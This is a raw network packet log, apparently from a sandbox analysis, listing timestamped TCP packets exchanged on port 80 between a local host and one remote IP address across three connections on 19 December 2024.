Dec 19, 2024 08:21:34.968364954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.968380928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.969006062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.969053030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.969141960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.969765902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.969806910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.969852924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.970550060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.970590115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.970638037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.971446991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.971471071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.971491098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.972151995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.972197056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.972302914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.973069906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.973115921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.973145008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.973709106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.973768950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.973809958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.974505901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.974555016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.974606037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.975406885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.975455999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.975584984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.976124048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.976183891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.976197004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.976881981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.976931095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.976979971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.977664948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.977715969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.977834940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.029064894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.097503901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.097693920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.097742081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.118458033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.148685932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.148770094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.218425035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.218455076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.218528032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.268423080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.268456936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.268503904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.338927031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.339019060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.339063883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.339379072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.339520931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.339565992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.340174913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.340301037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.340342999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.341078997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.341151953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.341192961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.341660976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.341780901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.341814995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.342449903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.342583895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.342623949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.343240023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.343347073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.343406916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.344089031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.344171047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.344209909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.344867945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.345057964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.345097065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.345746994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.345797062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.345837116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.346429110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.346569061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.346611977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.347230911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.347366095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.347409964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.347996950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.348084927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.348124027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.348803997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.348939896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.348984957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.349602938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.349658966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.349697113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.350400925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.350492954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.350532055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.351146936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.351298094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.351345062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.351977110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.352157116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.352193117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.352771997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.352802038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.352838993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.353614092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.353770971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.353813887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.354387999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.354465961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.354512930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.355241060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.355457067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.355511904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.355911970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.356021881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.356060982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.356789112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.356957912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.357048988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.357507944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.357606888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.357656002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.358324051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.358414888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.358455896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.359090090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.359173059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.359208107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.359922886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.359998941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.360038996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.360673904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.360785007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.360830069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.361463070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.361546040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.361589909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.362344980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.362471104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.362514019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.363087893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.363166094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.363208055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.363816023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.363925934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.363984108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.364891052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.364960909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.364998102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.365433931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.365530968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.365571022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.366292000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.366383076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.366425037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.367000103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.367110968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.367176056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.367801905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.367896080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.367938042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.368607044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.368731976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.368769884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.369384050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.369502068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.369539022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.370173931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.370306969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.370342016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.371139050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.371290922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.371329069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.371783018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.371874094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.371911049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.372636080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.372745037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.372780085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.373349905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.373478889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.373516083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.374133110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.374241114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.374272108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.374979973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.375044107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.375080109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.375696898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.375787973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.375823021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.376482964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.376683950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.376728058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.377281904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.377711058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.377749920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.378176928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.378190994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.378226042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.378957987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.379000902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.379043102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.379652023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.379772902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.379811049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.380424976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.380562067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.380604982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.381328106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.381438971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.381484032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.382039070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.382216930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.382260084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.382807970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.382917881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.382961988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.383743048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.383795023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.383837938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.384480000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.384560108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.384610891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.385193110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.385296106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.385333061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.385997057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.386111021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.386149883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.386780977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.386873007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.386909962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.387579918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.387669086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.387721062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.388380051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.388470888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.388545036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.389144897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.389261007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.389297009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.389960051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.390047073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.390084982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.390701056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.390877962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.390918970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.391541958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.391633987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.391675949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.392326117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.392433882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.392476082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.393105984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.393212080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.393253088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.393889904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.393945932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.393991947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.394829988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.394942045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.394988060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.395699024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.395791054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.395828009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.396651030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.396739006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.396774054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.397144079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.397226095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.397265911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.397895098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.397986889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.398026943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.398622036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.398737907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.398776054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.399446964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.399513006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.399549961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.400243044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.400278091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:35.400321007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.404726982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:35.524224043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:41.919249058 CET	49782	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:42.038902044 CET	80	49782	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:42.039024115 CET	49782	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:42.039473057 CET	49782	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:42.159037113 CET	80	49782	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:45.171576023 CET	80	49782	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:45.172023058 CET	80	49782	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:45.172096014 CET	49782	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:45.172190905 CET	49782	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:45.291590929 CET	80	49782	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.625308037 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.744909048 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.744997025 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.745538950 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.865160942 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865176916 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865228891 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865238905 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865243912 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.865289927 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.865298033 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865309000 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865348101 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.865402937 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865411997 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865463972 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.865484953 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865497112 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.865530968 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.985193014 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.985280991 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.985281944 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.985315084 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.985341072 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.985352039 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.985373974 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.985424042 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.985430002 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.985464096 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:46.985491037 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:46.985512972 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.031579971 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.031694889 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.151470900 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.151582956 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.191540956 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.191654921 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.311327934 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.311479092 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.475501060 CET	80	49793	194.87.47.113	192.168.2.10
